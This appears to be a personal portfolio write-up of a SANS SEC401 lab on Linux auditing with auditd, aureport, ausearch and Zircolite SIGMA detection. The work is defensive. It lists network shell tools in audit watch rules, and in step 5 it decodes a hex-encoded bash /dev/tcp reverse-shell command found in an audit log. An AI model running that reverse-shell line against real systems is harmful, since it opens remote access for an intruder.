Skip to main content
See Security Labs

SEC401 - Containers, Linux and Mac Security

Lab 6.3 - Linux Logging and Auditing

Solo, Lab

Focus: Linux Security

Level: SEC401

Date: Apr 2026

Artifacts: Sanitized terminal screenshots from auditd, aureport, ausearch, and Zircolite SIGMA detection

TL;DR

  • auditd rules file watches recon (whoami/id/uname), suspicious binaries (nc/nmap/tcpdump/wget), and sssd execve
  • aureport --summary + aureport --key --summary are the one-command triage views
  • ausearch -k <key> -i retrieves keyed events with UIDs and timestamps resolved
  • Zircolite with SIGMA rules found 177 Webshell RCE events in the same audit.log

Skills demonstrated

Linux auditd rule authoring (-w / -a / -k / -F)aureport / ausearch log triageDecoding hex-encoded attacker payloadsSIGMA ruleset execution with ZircoliteMITRE ATT&CK mapping via SIGMA tags

Note: Course-provided PCAPs and lab instructions are not shared. Only my own captures and sanitized notes are published.

Why this matters

Linux log triage is the #2 most-reported CyberLive skill on GSEC. Knowing aureport/ausearch flags by reflex, especially -k for keyed watches and -i for interpreted output, is the difference between answering a Linux forensics question in 30 seconds vs. burning 5 minutes on syntax.

Context

This lab walks the full Linux audit pipeline: an auditd rules file that watches recon/suspicious binaries, aureport/ausearch for querying audit.log, decoding a hex-encoded bash reverse shell, and finally running Zircolite with a SIGMA ruleset to surface 177 Webshell Remote Command Execution events from the same audit log.

Tools used

auditdaureportausearchZircoliteSIGMAxxdgedit

Steps taken

1Open the auditd rules file

Opened /sec401/labs/6.3/audit.rules with gedit, Florian Roth's Best-Practice auditd rules file, based on gov.uk auditd, CentOS 7 hardening, and linux-audit.com tuning guides.

$ cd /sec401/labs/6.3
$ gedit audit.rules &

2Review recon / susp_activity / sssd rules

Core audit patterns: -w <path> -p x -k <key> watches binaries for execution. Recon watches cover whoami, id, hostname, uname, /etc/issue. susp_activity covers wget, curl, base64, nc, netcat, ncat, ss, netstat, ssh, scp, sftp, ftp, socat, wireshark, tshark, rdesktop, xfreerdp, nmap. sssd block uses -a always,exit -F path=... -F perm=x -F auid>=500 to audit only real-user exec (auid>=500 excludes system accounts).

$ # syntax shown:
$ -w /usr/bin/whoami -p x -k recon
$ -w /usr/bin/nc -p x -k susp_activity
$ -a always,exit -F path=/usr/libexec/sssd/p11_child -F perm=x -F auid>=500 -F auid!=4294967295 -k T1078_Valid_Accounts
-wwatch a path
-p xon execute (r/w/a/x for read/write/attr/exec)
-kkey name (aureport/ausearch filter)
-a always,exitrule fires on syscall exit
-Ffield filter (perm, path, auid)
auid!=4294967295exclude unset audit UID

3aureport --summary

aureport --input ./audit.log --summary, high-level triage view of a captured audit log. 41020 events, 28 failed logins, 13 failed authentications, 72 commands, 50 executables, 83 files, 1544 failed syscalls, 17 keys, 21518 process IDs. Range Sep 28 2023 20:56 → Sep 29 14:23. This is the one-liner you run first to size the investigation.

$ aureport --input ./audit.log --summary
--inputread from a file instead of /var/log/audit/audit.log
--summaryone-screen overview

4aureport --key --summary

Key-based breakdown of which audit rules fired most. network_socket_created 21638, detect_execve_www 14588, 'remote_shell' 3029, network_connect_4 880, susp_shell 162, etcpasswd 55, software_mgmt 37, network_connect_6 25, recon 24, session 21, systemd 16, Data_Compressed 8, specialfiles 7, susp_activity 4, string_search 2, anon_file_create 2, sbin_susp 1. This collapses 41k events into 17 focus areas.

$ aureport --input audit.log --key --summary

5Decode a hex-encoded reverse shell

One of the audit events contained a hex-encoded command. Piped the hex string through xxd -r -p to decode: /usr/bin/bash -c (echo </dev/tcp/host.docker.internal/3869) 2>/dev/null, a classic bash /dev/tcp reverse shell testing an open port. Decoding hex-obfuscated payloads is a standard CyberLive skill.

$ echo -n 2F7573722F62696E2F62617368002D6300286563686F203C2F6465762F7463702F686F73742E646F636B65722E696E7465726E616C2F333836392920323E2F6465762F6E756C6C2026 | xxd -r -p ; echo
xxd -r -preverse hex to bytes, plain format (no line numbers)
-n on echono trailing newline

6ausearch by key

ausearch --input audit.log -k sbin_susp, pulls every event with key sbin_susp. Output is the raw audit format: PROCTITLE, PATH, EXECVE, SYSCALL. Shows uid=33 (www-data) invoking /usr/sbin/tcpdump, the web server user spawning a packet sniffer, which is the whole point of the sbin_susp key.

$ ausearch --input audit.log -k sbin_susp
-kfilter by key (same name you set in the -k rule field)

7ausearch -i for interpreted output

Same query with -i. Now UIDs render as usernames (www-data instead of 33), timestamps render as human-readable (09/28/2023 20:56:15.474 instead of the 1695934575.474 unix timestamp), and arch shows x86_64. -i is the one flag that makes ausearch output actually readable under exam time pressure.

$ ausearch --input audit.log -k sbin_susp -i
-iinterpret numeric fields (uid/gid → name, epoch → date, syscall numbers → names)

8Zircolite: SIGMA over audit.log

zircolite --events audit.log --ruleset rules/alpha_rules_linux.json --audit, runs 169 SIGMA detection rules against the audit log. Finished in 13 seconds. Two hits: Webshell Remote Command Execution [critical] → 177 events, System Information Discovery - Auditd [low] → 11 events. Zircolite is the 'one command turns raw audit.log into SIEM-style alerts' tool.

$ zircolite --events audit.log --ruleset rules/alpha_rules_linux.json --audit
--eventsinput log (audit.log, evtx, sysmon)
--rulesetcompiled SIGMA JSON
--audittells Zircolite this is Linux auditd format

9Review detected_events.json

Zircolite wrote detected_events.json: title 'Webshell Remote Command Execution', id c0d3734d-330f-4a03-aae2-65dacc6a8222, rule_level critical, tags attack.persistence + attack.t1505.003, count 177. The underlying SIGMA query was SELECT * FROM logs WHERE type='SYSCALL' AND syscall='59' AND exe='/usr/bin/dash', execve of dash by the web server, which is the webshell signature.

$ gedit detected_events.json &

Key findings

41020 audit events across Sep 28-29 2023 window
28 failed logins + 13 failed authentications in the same window
sbin_susp key: www-data (uid=33) spawning /usr/sbin/tcpdump
Hex-decoded payload: bash /dev/tcp reverse shell to host.docker.internal:3869
Zircolite SIGMA: 177 Webshell Remote Command Execution events (T1505.003 critical)

Outcome / Lessons learned

Demonstrated the full Linux detection pipeline from auditd rules → aureport/ausearch triage → hex-payload decode → SIGMA detection with Zircolite. End state: 41k events narrowed to 177 Webshell RCE alerts with MITRE ATT&CK T1505.003 mapping, all from standard Linux tooling.

Ship audit.log into the SIEM (Splunk, Elastic) with key-based field extraction so analysts can pivot by recon / susp_activity / remote_shell without running ausearch on every host. Deploy Zircolite as a cron to produce detected_events.json per-host and forward the critical-rule hits into the ticketing system. Expand the rules file with MITRE-mapped keys (T1059, T1071, T1087) so every audit rule carries its own ATT&CK tag.

Security controls relevant

  • auditd with Best-Practice rules (Florian Roth template)
  • aureport / ausearch for incident triage
  • SIGMA rulesets + Zircolite for log → detection pipeline
  • MITRE ATT&CK tagging on audit rule keys
  • auid>=500 filter to exclude system-account noise

What I took away from this

The -k flag is the whole game with auditd. Without keys every rule blurs into one undifferentiated stream; with keys you get a tagged index (aureport --key --summary) that lets you pivot by attacker behavior instead of by syscall. Any production audit rule without a meaningful -k value is a rule that won't get queried.

ausearch -i is the flag people forget under time pressure. Numeric UIDs and epoch timestamps are unreadable in a 5-minute CyberLive window. Train the muscle memory: ausearch -k <key> -i, always.

Zircolite over audit.log is the shape of modern Linux detection. You keep auditd's low-level coverage but bolt on SIGMA's community detection library and MITRE mapping. That's the difference between 'I have logs' and 'I have alerts', and it's the answer to the inevitable audit finding that ships every SEC401 graduate into blue-team work.

Evidence gallery

Lab 6.3 - Linux Logging and Auditing | Luis Javier Lozoya